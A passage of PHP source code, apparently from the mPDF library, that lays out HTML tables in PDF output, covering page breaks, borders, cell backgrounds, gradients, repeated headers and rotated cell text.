$j); } else { list($x, $w) = $this->_tableGetWidth($table, $i, $j); } list($y, $h) = $this->_tableGetHeight($table, $i, $j); $x += $x0; $y += $y0; $y -= $returny; if ($table['borders_separate']) { if (!empty($tablefooter) || $i == ($numrows - 1) || (isset($cell['rowspan']) && ($i + $cell['rowspan']) == $numrows) || (!isset($cell['rowspan']) && ($i + 1) == $numrows)) { $extra = $table['padding']['B'] + $table['border_details']['B']['w'] + $table['border_spacing_V'] / 2; // $extra = $table['margin']['B'] + $table['padding']['B'] + $table['border_details']['B']['w'] + $table['border_spacing_V']/2; } else { $extra = $table['border_spacing_V'] / 2; } } else { $extra = $table['max_cell_border_width']['B'] / 2; } if ($j == $startcol && ((($y + $maxrowheight + $extra ) > ($pagetrigger + 0.001)) || (($this->keepColumns || !$this->ColActive) && !empty($tablefooter) && ($y + $maxrowheight + $tablefooterrowheight + $extra) > $pagetrigger) && ($this->tableLevel == 1 && $i < ($numrows - $table['headernrows']))) && ($y0 > 0 || $x0 > 0) && !$this->InFooter && $this->autoPageBreak) { if (!$skippage) { $finalSpread = true; $firstSpread = true; if ($split) { for ($t = $startcol; $t < $numcols; $t++) { // Are there more columns to print on a next page? if ($table['colPg'][$t] > $splitpg) { $finalSpread = false; break; } } if ($startcol > 0) { $firstSpread = false; } } if (($this->keepColumns || !$this->ColActive) && !empty($tablefooter) && $i > 0) { $this->y = $y; $ya = $this->y; $this->TableHeaderFooter($tablefooter, $tablestartpage, $tablestartcolumn, 'F', $level, $firstSpread, $finalSpread); if ($this->table_rotate) { $this->tbrot_h += $this->y - $ya; } $tablefooteradj = $this->y - $ya; } $y -= $y0; $returny += $y; $oldcolumn = $this->CurrCol; if ($this->AcceptPageBreak()) { $newpagestarted = true; $this->y = $y + $y0; // Move down to account for border-spacing or // extra half border width in case page breaks in middle if ($i > 0 && !$this->table_rotate && $level == 1 && !$this->ColActive) { if ($table['borders_separate']) { $adv = $table['border_spacing_V'] / 2; // If table footer if (($this->keepColumns || !$this->ColActive) && !empty($tablefooter) && $i > 0) { $adv += ($table['padding']['B'] + $table['border_details']['B']['w']); } } else { $maxbwtop = 0; $maxbwbottom = 0; if (!$this->simpleTables) { if (!empty($tablefooter)) { $maxbwbottom = $table['max_cell_border_width']['B']; } else { $brow = $i - 1; for ($ctj = 0; $ctj < $numcols; $ctj++) { if (isset($cells[$brow][$ctj]) && $cells[$brow][$ctj]) { if ($this->packTableData) { list($bt, $br, $bb, $bl) = $this->_getBorderWidths($cells[$brow][$ctj]['borderbin']); } else { $bb = $cells[$brow][$ctj]['border_details']['B']['w']; } $maxbwbottom = max($maxbwbottom, $bb); } } } if (!empty($tableheader)) { $maxbwtop = $table['max_cell_border_width']['T']; } else { $trow = $i - 1; for ($ctj = 0; $ctj < $numcols; $ctj++) { if (isset($cells[$trow][$ctj]) && $cells[$trow][$ctj]) { if ($this->packTableData) { list($bt, $br, $bb, $bl) = $this->_getBorderWidths($cells[$trow][$ctj]['borderbin']); } else { $bt = $cells[$trow][$ctj]['border_details']['T']['w']; } $maxbwtop = max($maxbwtop, $bt); } } } } elseif ($this->simpleTables) { $maxbwtop = $table['simple']['border_details']['T']['w']; $maxbwbottom = $table['simple']['border_details']['B']['w']; } $adv = $maxbwbottom / 2; } $this->y += $adv; } // Rotated table split over pages - needs this->y for borders/backgrounds if ($i > 0 && $this->table_rotate && $level == 1) { // $this->y = $y0 + $this->tbrot_w; } if ($this->tableClipPath) { $this->writer->write("Q"); } $bx = $x0; $by = $y0; if ($table['borders_separate']) { $bx -= ($table['padding']['L'] + $table['border_details']['L']['w'] + $table['border_spacing_H'] / 2); if ($tablestartpageno != $this->page) { // IF already broken across a previous pagebreak $by += $table['max_cell_border_width']['T'] / 2; if (empty($tableheader)) { $by -= ($table['border_spacing_V'] / 2); } } else { $by -= ($table['padding']['T'] + $table['border_details']['T']['w'] + $table['border_spacing_V'] / 2); } } elseif ($tablestartpageno != $this->page && !empty($tableheader)) { $by += $maxbwtop / 2; } $by -= $tableheaderadj; $bh = $this->y - $by + $tablefooteradj; if (!$table['borders_separate']) { $bh -= $adv; } if ($split) { $bw = 0; for ($t = $startcol; $t < $numcols; $t++) { if ($table['colPg'][$t] == $splitpg) { $bw += $table['wc'][$t]; } if ($table['colPg'][$t] > $splitpg) { break; } } if ($table['borders_separate']) { if ($firstSpread) { $bw += $table['padding']['L'] + $table['border_details']['L']['w'] + $table['border_spacing_H']; } else { $bx += ($table['padding']['L'] + $table['border_details']['L']['w']); $bw += $table['border_spacing_H']; } if ($finalSpread) { $bw += $table['padding']['R'] + $table['border_details']['R']['w'] / 2 + $table['border_spacing_H']; } } } else { $bw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; } if ($this->splitTableBorderWidth && ($this->keepColumns || !$this->ColActive) && empty($tablefooter) && $i > 0 && $table['border_details']['B']['w']) { $prevDrawColor = $this->DrawColor; $lw = $this->LineWidth; $this->SetLineWidth($this->splitTableBorderWidth); $this->SetDColor($table['border_details']['B']['c']); $this->SetLineJoin(0); $this->SetLineCap(0); $blx = $bx; $blw = $bw; if (!$table['borders_separate']) { $blx -= ($table['max_cell_border_width']['L'] / 2); $blw += ($table['max_cell_border_width']['L'] / 2 + $table['max_cell_border_width']['R'] / 2); } $this->Line($blx, $this->y + ($this->splitTableBorderWidth / 2), $blx + $blw, $this->y + ($this->splitTableBorderWidth / 2)); $this->DrawColor = $prevDrawColor; $this->writer->write($this->DrawColor); $this->SetLineWidth($lw); $this->SetLineJoin(2); $this->SetLineCap(2); } if (!$this->ColActive && ($i > 0 || $j > 0)) { if (isset($table['bgcolor'][-1])) { $color = $this->colorConverter->convert($table['bgcolor'][-1], $this->PDFAXwarnings); if ($color) { if (!$table['borders_separate']) { $bh -= $table['max_cell_border_width']['B'] / 2; } $this->tableBackgrounds[$level * 9][] = ['gradient' => false, 'x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'col' => $color]; } } /* -- BACKGROUNDS -- */ if (isset($table['gradient'])) { $g = $this->gradient->parseBackgroundGradient($table['gradient']); if ($g) { $this->tableBackgrounds[$level * 9 + 1][] = ['gradient' => true, 'x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } if (isset($table['background-image'])) { if ($table['background-image']['gradient'] && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $table['background-image']['gradient'])) { $g = $this->gradient->parseMozGradient($table['background-image']['gradient']); if ($g) { $this->tableBackgrounds[$level * 9 + 1][] = ['gradient' => true, 'x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } else { $image_id = $table['background-image']['image_id']; $orig_w = $table['background-image']['orig_w']; $orig_h = $table['background-image']['orig_h']; $x_pos = $table['background-image']['x_pos']; $y_pos = $table['background-image']['y_pos']; $x_repeat = $table['background-image']['x_repeat']; $y_repeat = $table['background-image']['y_repeat']; $resize = $table['background-image']['resize']; $opacity = $table['background-image']['opacity']; $itype = $table['background-image']['itype']; $this->tableBackgrounds[$level * 9 + 2][] = ['x' => $bx, 'y' => $by, 'w' => $bw, 'h' => $bh, 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => '', 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype]; } } /* -- END BACKGROUNDS -- */ } // $this->AcceptPageBreak() has moved tablebuffer to $this->pages content if ($this->tableBackgrounds) { $s = $this->PrintTableBackgrounds(); if ($this->bufferoutput) { $this->headerbuffer = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', '\\1' . "\n" . $s . "\n", $this->headerbuffer); $this->headerbuffer = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', " ", $this->headerbuffer); } else { $this->pages[$this->page] = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', '\\1' . "\n" . $s . "\n", $this->pages[$this->page]); $this->pages[$this->page] = preg_replace('/(___TABLE___BACKGROUNDS' . $this->uniqstr . ')/', " ", $this->pages[$this->page]); } $this->tableBackgrounds = []; } if ($split) { if ($i == 0 && $j == 0) { $y0 = -1; } elseif ($finalSpread) { $splitpg = 0; $startcol = 0; $startrow = $i; } else { $splitpg++; $startcol = $t; $returny -= $y; } return [false, $startrow, $startcol, $splitpg, $returny, $y0]; } $this->AddPage($this->CurOrientation); $this->writer->write('___TABLE___BACKGROUNDS' . $this->uniqstr); if ($this->tableClipPath) { $this->writer->write($this->tableClipPath); } // Added to correct for OddEven Margins $x = $x + $this->MarginCorrection; $x0 = $x0 + $this->MarginCorrection; if ($this->splitTableBorderWidth && ($this->keepColumns || !$this->ColActive) && empty($tableheader) && $i > 0 && $table['border_details']['T']['w']) { $prevDrawColor = $this->DrawColor; $lw = $this->LineWidth; $this->SetLineWidth($this->splitTableBorderWidth); $this->SetDColor($table['border_details']['T']['c']); $this->SetLineJoin(0); $this->SetLineCap(0); $blx += $this->MarginCorrection; $this->Line($blx, $this->y - ($this->splitTableBorderWidth / 2), $blx + $blw, $this->y - ($this->splitTableBorderWidth / 2)); $this->DrawColor = $prevDrawColor; $this->writer->write($this->DrawColor); $this->SetLineWidth($lw); $this->SetLineJoin(2); $this->SetLineCap(2); } // Move down to account for half of top border-spacing or // extra half border width in case page was broken in middle if ($i > 0 && !$this->table_rotate && $level == 1 && $table['headernrows'] == 0) { if ($table['borders_separate']) { $adv = $table['border_spacing_V'] / 2; } else { $maxbwtop = 0; for ($ctj = 0; $ctj < $numcols; $ctj++) { if (isset($cells[$i][$ctj]) && $cells[$i][$ctj]) { if (!$this->simpleTables) { if ($this->packTableData) { list($bt, $br, $bb, $bl) = $this->_getBorderWidths($cells[$i][$ctj]['borderbin']); } else { $bt = $cells[$i][$ctj]['border_details']['T']['w']; } $maxbwtop = max($maxbwtop, $bt); } elseif ($this->simpleTables) { $maxbwtop = max($maxbwtop, $table['simple']['border_details']['T']['w']); } } } $adv = $maxbwtop / 2; } $this->y += $adv; } if ($this->table_rotate) { $this->tbrot_x0 = $this->lMargin + $this->blk[$this->blklvl]['outer_left_margin'] + $this->blk[$this->blklvl]['padding_left'] + $this->blk[$this->blklvl]['border_left']['w']; if ($table['borders_separate']) { $this->tbrot_h = $table['margin']['T'] + $table['padding']['T'] + $table['border_details']['T']['w'] + $table['border_spacing_V'] / 2; } else { $this->tbrot_h = $table['margin']['T'] + $table['max_cell_border_width']['T']; } $this->tbrot_y0 = $this->y; $pagetrigger = $y0 - $tableheaderadj + ($this->blk[$this->blklvl]['inner_width']); } else { $pagetrigger = $this->PageBreakTrigger; } if ($this->kwt_saved && $level == 1) { $this->kwt_moved = true; } if (!empty($tableheader)) { $ya = $this->y; $this->TableHeaderFooter($tableheader, $tablestartpage, $tablestartcolumn, 'H', $level); if ($this->table_rotate) { $this->tbrot_h = $this->y - $ya; } $tableheaderadj = $this->y - $ya; } elseif ($i == 0 && !$this->table_rotate && $level == 1 && !$this->ColActive) { // Advance down page if ($table['borders_separate']) { $adv = $table['border_spacing_V'] / 2 + $table['border_details']['T']['w'] + $table['padding']['T']; } else { $adv = $table['max_cell_border_width']['T'] / 2; } if ($adv) { if ($this->table_rotate) { $this->y += ($adv); } else { $this->DivLn($adv, $this->blklvl, true); } } } $outerfilled = 0; $y = $y0 = $this->y; } /* -- COLUMNS -- */ // COLS // COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { // Added to correct for Columns $x += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); $x0 += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); if ($this->CurrCol == 0) { // just added a page - possibly with tableheader $y0 = $this->y; // this->y0 is global used by Columns - $y0 is internal to tablewrite } else { $y0 = $this->y0; // this->y0 is global used by Columns - $y0 is internal to tablewrite } $y = $y0; $outerfilled = 0; if ($this->CurrCol != 0 && ($this->keepColumns && $this->ColActive) && !empty($tableheader) && $i > 0) { $this->x = $x; $this->y = $y; $this->TableHeaderFooter($tableheader, $tablestartpage, $tablestartcolumn, 'H', $level); $y0 = $y = $this->y; } } /* -- END COLUMNS -- */ } $skippage = true; } $this->x = $x; $this->y = $y; if ($this->kwt_saved && $level == 1) { $this->printkwtbuffer(); $x0 = $x = $this->x; $y0 = $y = $this->y; $this->kwt_moved = false; $this->kwt_saved = false; } // Set the Page & Column where table actually starts if ($i == 0 && $j == 0 && $level == 1) { if (($this->mirrorMargins) && (($this->page) % 2 == 0)) { // EVEN $tablestartpage = 'EVEN'; } elseif (($this->mirrorMargins) && (($this->page) % 2 == 1)) { // ODD $tablestartpage = 'ODD'; } else { $tablestartpage = ''; } $tablestartpageno = $this->page; if ($this->ColActive) { $tablestartcolumn = $this->CurrCol; } // *COLUMNS* } // ALIGN $align = $cell['a']; /* -- COLUMNS -- */ // If outside columns, this is done in PaintDivBB if ($this->ColActive) { // OUTER FILL BGCOLOR of DIVS if ($this->blklvl > 0 && ($j == 0) && !$this->table_rotate && $level == 1) { $firstblockfill = $this->GetFirstBlockFill(); if ($firstblockfill && $this->blklvl >= $firstblockfill) { $divh = $maxrowheight; // Last row if ((!isset($cell['rowspan']) && $i == $numrows - 1) || (isset($cell['rowspan']) && (($i == $numrows - 1 && $cell['rowspan'] < 2) || ($cell['rowspan'] > 1 && ($i + $cell['rowspan'] - 1) == $numrows - 1)))) { if ($table['borders_separate']) { $adv = $table['margin']['B'] + $table['padding']['B'] + $table['border_details']['B']['w'] + $table['border_spacing_V'] / 2; } else { $adv = $table['margin']['B'] + $table['max_cell_border_width']['B'] / 2; } $divh += $adv; // last row: fill bottom half of bottom border (y advanced at end) } if (($this->y + $divh) > $outerfilled) { // if not already painted by previous rowspan $bak_x = $this->x; $bak_y = $this->y; if ($outerfilled > $this->y) { $divh = ($this->y + $divh) - $outerfilled; $this->y = $outerfilled; } $this->DivLn($divh, -3, false); $outerfilled = $this->y + $divh; // Reset current block fill $bcor = $this->blk[$this->blklvl]['bgcolorarray']; if ($bcor) { $this->SetFColor($bcor); } $this->x = $bak_x; $this->y = $bak_y; } } } } // TABLE BACKGROUND FILL BGCOLOR - for cellSpacing if ($this->ColActive) { if ($table['borders_separate']) { $fill = isset($table['bgcolor'][-1]) ? $table['bgcolor'][-1] : 0; if ($fill) { $color = $this->colorConverter->convert($fill, $this->PDFAXwarnings); if ($color) { $xadj = ($table['border_spacing_H'] / 2); $yadj = ($table['border_spacing_V'] / 2); $wadj = $table['border_spacing_H']; $hadj = $table['border_spacing_V']; if ($i == 0) { // Top $yadj += $table['padding']['T'] + $table['border_details']['T']['w']; $hadj += $table['padding']['T'] + $table['border_details']['T']['w']; } if ($j == 0) { // Left $xadj += $table['padding']['L'] + $table['border_details']['L']['w']; $wadj += $table['padding']['L'] + $table['border_details']['L']['w']; } if ($i == ($numrows - 1) || (isset($cell['rowspan']) && ($i + $cell['rowspan']) == $numrows) || (!isset($cell['rowspan']) && ($i + 1) == $numrows)) { // Bottom $hadj += $table['padding']['B'] + $table['border_details']['B']['w']; } if ($j == ($numcols - 1) || (isset($cell['colspan']) && ($j + $cell['colspan']) == $numcols) || (!isset($cell['colspan']) && ($j + 1) == $numcols)) { // Right $wadj += $table['padding']['R'] + $table['border_details']['R']['w']; } $this->SetFColor($color); $this->Rect($x - $xadj, $y - $yadj, $w + $wadj, $h + $hadj, 'F'); } } } } /* -- END COLUMNS -- */ if ($table['empty_cells'] != 'hide' || !empty($cell['textbuffer']) || (isset($cell['nestedcontent']) && $cell['nestedcontent']) || !$table['borders_separate']) { $paintcell = true; } else { $paintcell = false; } // Set Borders $bord = 0; $bord_det = []; if (!$this->simpleTables) { if ($this->packTableData) { $c = $this->_unpackCellBorder($cell['borderbin']); $bord = $c['border']; $bord_det = $c['border_details']; } else { $bord = $cell['border']; $bord_det = $cell['border_details']; } } elseif ($this->simpleTables) { $bord = $table['simple']['border']; $bord_det = $table['simple']['border_details']; } // TABLE ROW OR CELL FILL BGCOLOR $fill = 0; if (isset($cell['bgcolor']) && $cell['bgcolor'] && $cell['bgcolor'] != 'transparent') { $fill = $cell['bgcolor']; $leveladj = 6; } elseif (isset($table['bgcolor'][$i]) && $table['bgcolor'][$i] && $table['bgcolor'][$i] != 'transparent') { // Row color $fill = $table['bgcolor'][$i]; $leveladj = 3; } if ($fill && $paintcell) { $color = $this->colorConverter->convert($fill, $this->PDFAXwarnings); if ($color) { if ($table['borders_separate']) { if ($this->ColActive) { $this->SetFColor($color); $this->Rect($x + ($table['border_spacing_H'] / 2), $y + ($table['border_spacing_V'] / 2), $w - $table['border_spacing_H'], $h - $table['border_spacing_V'], 'F'); } else { $this->tableBackgrounds[$level * 9 + $leveladj][] = ['gradient' => false, 'x' => ($x + ($table['border_spacing_H'] / 2)), 'y' => ($y + ($table['border_spacing_V'] / 2)), 'w' => ($w - $table['border_spacing_H']), 'h' => ($h - $table['border_spacing_V']), 'col' => $color]; } } else { if ($this->ColActive) { $this->SetFColor($color); $this->Rect($x, $y, $w, $h, 'F'); } else { $this->tableBackgrounds[$level * 9 + $leveladj][] = ['gradient' => false, 'x' => $x, 'y' => $y, 'w' => $w, 'h' => $h, 'col' => $color]; } } } } /* -- BACKGROUNDS -- */ if (isset($cell['gradient']) && $cell['gradient'] && $paintcell) { $g = $this->gradient->parseBackgroundGradient($cell['gradient']); if ($g) { if ($table['borders_separate']) { $px = $x + ($table['border_spacing_H'] / 2); $py = $y + ($table['border_spacing_V'] / 2); $pw = $w - $table['border_spacing_H']; $ph = $h - $table['border_spacing_V']; } else { $px = $x; $py = $y; $pw = $w; $ph = $h; } if ($this->ColActive) { $this->gradient->Gradient($px, $py, $pw, $ph, $g['type'], $g['stops'], $g['colorspace'], $g['coords'], $g['extend']); } else { $this->tableBackgrounds[$level * 9 + 7][] = ['gradient' => true, 'x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } if (isset($cell['background-image']) && $paintcell) { if (isset($cell['background-image']['gradient']) && $cell['background-image']['gradient'] && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $cell['background-image']['gradient'])) { $g = $this->gradient->parseMozGradient($cell['background-image']['gradient']); if ($g) { if ($table['borders_separate']) { $px = $x + ($table['border_spacing_H'] / 2); $py = $y + ($table['border_spacing_V'] / 2); $pw = $w - $table['border_spacing_H']; $ph = $h - $table['border_spacing_V']; } else { $px = $x; $py = $y; $pw = $w; $ph = $h; } if ($this->ColActive) { $this->gradient->Gradient($px, $py, $pw, $ph, $g['type'], $g['stops'], $g['colorspace'], $g['coords'], $g['extend']); } else { $this->tableBackgrounds[$level * 9 + 7][] = ['gradient' => true, 'x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } elseif (isset($cell['background-image']['image_id']) && $cell['background-image']['image_id']) { // Background pattern $n = count($this->patterns) + 1; if ($table['borders_separate']) { $px = $x + ($table['border_spacing_H'] / 2); $py = $y + ($table['border_spacing_V'] / 2); $pw = $w - $table['border_spacing_H']; $ph = $h - $table['border_spacing_V']; } else { $px = $x; $py = $y; $pw = $w; $ph = $h; } if ($this->ColActive) { list($orig_w, $orig_h, $x_repeat, $y_repeat) = $this->_resizeBackgroundImage($cell['background-image']['orig_w'], $cell['background-image']['orig_h'], $pw, $ph, $cell['background-image']['resize'], $cell['background-image']['x_repeat'], $cell['background-image']['y_repeat']); $this->patterns[$n] = ['x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'pgh' => $this->h, 'image_id' => $cell['background-image']['image_id'], 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $cell['background-image']['x_pos'], 'y_pos' => $cell['background-image']['y_pos'], 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat]; if ($cell['background-image']['opacity'] > 0 && $cell['background-image']['opacity'] < 1) { $opac = $this->SetAlpha($cell['background-image']['opacity'], 'Normal', true); } else { $opac = ''; } $this->writer->write(sprintf('q /Pattern cs /P%d scn %s %.3F %.3F %.3F %.3F re f Q', $n, $opac, $px * Mpdf::SCALE, ($this->h - $py) * Mpdf::SCALE, $pw * Mpdf::SCALE, -$ph * Mpdf::SCALE)); } else { $image_id = $cell['background-image']['image_id']; $orig_w = $cell['background-image']['orig_w']; $orig_h = $cell['background-image']['orig_h']; $x_pos = $cell['background-image']['x_pos']; $y_pos = $cell['background-image']['y_pos']; $x_repeat = $cell['background-image']['x_repeat']; $y_repeat = $cell['background-image']['y_repeat']; $resize = $cell['background-image']['resize']; $opacity = $cell['background-image']['opacity']; $itype = $cell['background-image']['itype']; $this->tableBackgrounds[$level * 9 + 8][] = ['x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => '', 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype]; } } } /* -- END BACKGROUNDS -- */ if (isset($cell['colspan']) && $cell['colspan'] > 1) { $ccolsp = $cell['colspan']; } else { $ccolsp = 1; } if (isset($cell['rowspan']) && $cell['rowspan'] > 1) { $crowsp = $cell['rowspan']; } else { $crowsp = 1; } // but still need to do this for repeated headers... if (!$table['borders_separate'] && $this->tabletheadjustfinished && !$this->simpleTables) { if (isset($table['topntail']) && $table['topntail']) { $bord_det['T'] = $this->border_details($table['topntail']); $bord_det['T']['w'] /= $this->shrin_k; $this->setBorder($bord, Border::TOP); } if (isset($table['thead-underline']) && $table['thead-underline']) { $bord_det['T'] = $this->border_details($table['thead-underline']); $bord_det['T']['w'] /= $this->shrin_k; $this->setBorder($bord, Border::TOP); } } // Get info of first row ==>> table header // Use > 1 row if THEAD if (isset($table['is_thead'][$i]) && $table['is_thead'][$i] && $level == 1) { if ($j == 0) { $tableheaderrowheight += $table['hr'][$i]; } $tableheader[$i][0]['trbackground-images'] = (isset($table['trbackground-images'][$i]) ? $table['trbackground-images'][$i] : null); $tableheader[$i][0]['trgradients'] = (isset($table['trgradients'][$i]) ? $table['trgradients'][$i] : null); $tableheader[$i][0]['trbgcolor'] = (isset($table['bgcolor'][$i]) ? $table['bgcolor'][$i] : null); $tableheader[$i][$j]['x'] = $x; $tableheader[$i][$j]['y'] = $y; $tableheader[$i][$j]['h'] = $h; $tableheader[$i][$j]['w'] = $w; if (isset($cell['textbuffer'])) { $tableheader[$i][$j]['textbuffer'] = $cell['textbuffer']; } else { $tableheader[$i][$j]['textbuffer'] = ''; } $tableheader[$i][$j]['a'] = $cell['a']; $tableheader[$i][$j]['R'] = $cell['R']; $tableheader[$i][$j]['va'] = $cell['va']; $tableheader[$i][$j]['mih'] = $cell['mih']; $tableheader[$i][$j]['gradient'] = (isset($cell['gradient']) ? $cell['gradient'] : null); // *BACKGROUNDS* $tableheader[$i][$j]['background-image'] = (isset($cell['background-image']) ? $cell['background-image'] : null); // *BACKGROUNDS* $tableheader[$i][$j]['rowspan'] = (isset($cell['rowspan']) ? $cell['rowspan'] : null); $tableheader[$i][$j]['colspan'] = (isset($cell['colspan']) ? $cell['colspan'] : null); $tableheader[$i][$j]['bgcolor'] = $cell['bgcolor']; if (!$this->simpleTables) { $tableheader[$i][$j]['border'] = $bord; $tableheader[$i][$j]['border_details'] = $bord_det; } elseif ($this->simpleTables) { $tableheader[$i][$j]['border'] = $table['simple']['border']; $tableheader[$i][$j]['border_details'] = $table['simple']['border_details']; } $tableheader[$i][$j]['padding'] = $cell['padding']; if (isset($cell['direction'])) { $tableheader[$i][$j]['direction'] = $cell['direction']; } if (isset($cell['cellLineHeight'])) { $tableheader[$i][$j]['cellLineHeight'] = $cell['cellLineHeight']; } if (isset($cell['cellLineStackingStrategy'])) { $tableheader[$i][$j]['cellLineStackingStrategy'] = $cell['cellLineStackingStrategy']; } if (isset($cell['cellLineStackingShift'])) { $tableheader[$i][$j]['cellLineStackingShift'] = $cell['cellLineStackingShift']; } } // CELL BORDER if ($bord) { if ($table['borders_separate'] && $paintcell) { $this->_tableRect($x + ($table['border_spacing_H'] / 2) + ($bord_det['L']['w'] / 2), $y + ($table['border_spacing_V'] / 2) + ($bord_det['T']['w'] / 2), $w - $table['border_spacing_H'] - ($bord_det['L']['w'] / 2) - ($bord_det['R']['w'] / 2), $h - $table['border_spacing_V'] - ($bord_det['T']['w'] / 2) - ($bord_det['B']['w'] / 2), $bord, $bord_det, false, $table['borders_separate']); } elseif (!$table['borders_separate']) { $this->_tableRect($x, $y, $w, $h, $bord, $bord_det, true, $table['borders_separate']); // true causes buffer } } // VERTICAL ALIGN if ($cell['R'] && intval($cell['R']) > 0 && intval($cell['R']) < 90 && isset($cell['va']) && $cell['va'] != 'B') { $cell['va'] = 'B'; } if (!isset($cell['va']) || $cell['va'] == 'M') { $this->y += ($h - $cell['mih']) / 2; } elseif (isset($cell['va']) && $cell['va'] == 'B') { $this->y += $h - $cell['mih']; } // NESTED CONTENT // TEXT (and nested tables) $this->divwidth = $w; if (!empty($cell['textbuffer'])) { $this->cellTextAlign = $align; $this->cellLineHeight = $cell['cellLineHeight']; $this->cellLineStackingStrategy = $cell['cellLineStackingStrategy']; $this->cellLineStackingShift = $cell['cellLineStackingShift']; if ($level == 1) { if (isset($table['is_tfoot'][$i]) && $table['is_tfoot'][$i]) { if (preg_match('/{colsum([0-9]*)[_]*}/', $cell['textbuffer'][0][0], $m)) { $rep = sprintf("%01." . intval($m[1]) . "f", $this->colsums[$j]); $cell['textbuffer'][0][0] = preg_replace('/{colsum[0-9_]*}/', $rep, $cell['textbuffer'][0][0]); } } elseif (!isset($table['is_thead'][$i])) { if (isset($this->colsums[$j])) { $this->colsums[$j] += $this->toFloat($cell['textbuffer'][0][0]); } else { $this->colsums[$j] = $this->toFloat($cell['textbuffer'][0][0]); } } } $opy = $this->y; // mPDF ITERATION if ($this->iterationCounter) { foreach ($cell['textbuffer'] as $k => $t) { if (preg_match('/{iteration ([a-zA-Z0-9_]+)}/', $t[0], $m)) { $vname = '__' . $m[1] . '_'; if (!isset($this->$vname)) { $this->$vname = 1; } else { $this->$vname++; } $cell['textbuffer'][$k][0] = preg_replace('/{iteration ' . $m[1] . '}/', $this->$vname, $cell['textbuffer'][$k][0]); } } } if ($cell['R']) { $cellPtSize = $cell['textbuffer'][0][11] / $this->shrin_k; if (!$cellPtSize) { $cellPtSize = $this->default_font_size; } $cellFontHeight = ($cellPtSize / Mpdf::SCALE); $opx = $this->x; $angle = intval($cell['R']); // Only allow 45 to 89 degrees (when bottom-aligned) or exactly 90 or -90 if ($angle > 90) { $angle = 90; } elseif ($angle > 0 && $angle < 45) { $angle = 45; } elseif ($angle < 0) { $angle = -90; } $offset = ((sin(deg2rad($angle))) * 0.37 * $cellFontHeight); if (isset($cell['a']) && $cell['a'] == 'R') { $this->x += ($w) + ($offset) - ($cellFontHeight / 3) - ($cell['padding']['R'] + ($table['border_spacing_H'] / 2)); } elseif (!isset($cell['a']) || $cell['a'] == 'C') { $this->x += ($w / 2) + ($offset); } else { $this->x += ($offset) + ($cellFontHeight / 3) + ($cell['padding']['L'] + ($table['border_spacing_H'] / 2)); } $str = ''; foreach ($cell['textbuffer'] as $t) { $str .= $t[0] . ' '; } $str = rtrim($str); if (!isset($cell['va']) || $cell['va'] == 'M') { $this->y -= ($h - $cell['mih']) / 2; // Undo what was added earlier VERTICAL ALIGN if ($angle > 0) { $this->y += (($h - $cell['mih']) / 2) + $cell['padding']['T'] + ($cell['mih'] - ($cell['padding']['T'] + $cell['padding']['B'])); } elseif ($angle < 0) { $this->y += (($h - $cell['mih']) / 2) + ($cell['padding']['T'] + ($table['border_spacing_V'] / 2)); } } elseif (isset($cell['va']) && $cell['va'] == 'B') { $this->y -= $h - $cell['mih']; // Undo what was added earlier VERTICAL ALIGN if ($angle > 0) { $this->y += $h - ($cell['padding']['B'] + ($table['border_spacing_V'] / 2)); } elseif ($angle < 0) { $this->y += $h - $cell['mih'] + ($cell['padding']['T'] + ($table['border_spacing_V'] / 2)); } } elseif (isset($cell['va']) && $cell['va'] == 'T') { if ($angle > 0) { $this->y += $cell['mih'] - ($cell['padding']['B'] + ($table['border_spacing_V'] / 2)); } elseif ($angle < 0) { $this->y += ($cell['padding']['T'] + ($table['border_spacing_V'] / 2)); } } $this->Rotate($angle, $this->x, $this->y); $s_fs = $this->FontSizePt; $s_f = $this->FontFamily; $s_st = $this->FontStyle; if (!empty($cell['textbuffer'][0][3])) { // Font Color $cor = $cell['textbuffer'][0][3]; $this->SetTColor($cor); } $this->SetFont($cell['textbuffer'][0][4], $cell['textbuffer'][0][2], $cellPtSize, true, true); $this->magic_reverse_dir($str, $this->directionality, $cell['textbuffer'][0][18]); $this->Text($this->x, $this->y, $str, $cell['textbuffer'][0][18], $cell['textbuffer'][0][8]); // textvar $this->Rotate(0); $this->SetFont($s_f, $s_st, $s_fs, true, true); $this->SetTColor(0); $this->x = $opx; } else { if (!$this->simpleTables) { if ($bord_det) { $btlw = $bord_det['L']['w']; $btrw = 